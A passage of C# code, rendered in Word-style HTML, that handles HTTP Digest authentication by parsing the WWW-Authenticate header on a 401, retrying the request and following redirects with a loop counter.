<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">try</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{<span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>response = (</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebResponse</span><span style="mso-ansi-language: en-us;" lang="EN-US">)request.GetResponse();</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">catch</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (</span><span style="mso-ansi-language: en-us;" lang="EN-US">WebException</span><span style="mso-ansi-language: en-us;" lang="EN-US"> webException)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">// Try to fix a 401 exception by adding a Authorization header</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (webException.Response != </span><span style="mso-ansi-language: en-us;" lang="EN-US">null</span><span style="mso-ansi-language: en-us;" lang="EN-US"> &amp;&amp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>((</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebResponse</span><span style="mso-ansi-language: en-us;" lang="EN-US">)webException.Response).StatusCode == </span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpStatusCode</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Unauthorized)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> wwwAuthenticateHeader = webException.Response.Headers[</span><span style="mso-ansi-language: en-us;" lang="EN-US">"WWW-Authenticate"</span><span style="mso-ansi-language: en-us;" lang="EN-US">];</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_realm = GetDigestHeaderAttribute(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"realm"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, wwwAuthenticateHeader);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_nonce = GetDigestHeaderAttribute(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"nonce"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, wwwAuthenticateHeader);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_qop = GetDigestHeaderAttribute(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"qop"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, wwwAuthenticateHeader);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_md5 = GetMD5Algorithm(wwwAuthenticateHeader);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_nc = 0;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_cnonce = </span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">Random</span><span style="mso-ansi-language: en-us;" lang="EN-US">().Next(123400, 9999999).ToString();</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_cnonceDate = </span><span style="mso-ansi-language: en-us;" lang="EN-US">DateTime</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Now;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>request = CreateHttpWebRequestObject(uri, </span><span style="mso-ansi-language: en-us;" lang="EN-US">true</span><span style="mso-ansi-language: en-us;" lang="EN-US">);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>infiniteLoopCounter++;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>response = (</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpWebResponse</span><span style="mso-ansi-language: en-us;" lang="EN-US">)request.GetResponse();</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">else</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">throw</span><span style="mso-ansi-language: en-us;" lang="EN-US"> webException;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">switch</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (response.StatusCode)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpStatusCode</span><span style="mso-ansi-language: en-us;" lang="EN-US">.OK:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpStatusCode</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Accepted:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US"> response;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpStatusCode</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Redirect:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">HttpStatusCode</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Moved:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>uri = </span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">Uri</span><span style="mso-ansi-language: en-us;" lang="EN-US">(response.Headers[</span><span style="mso-ansi-language: en-us;" lang="EN-US">"Location"</span><span style="mso-ansi-language: en-us;" lang="EN-US">]);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">// We decrement the loop counter, as there might be a variable number of redirections which we should follow</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>infiniteLoopCounter--;</span></span></p>
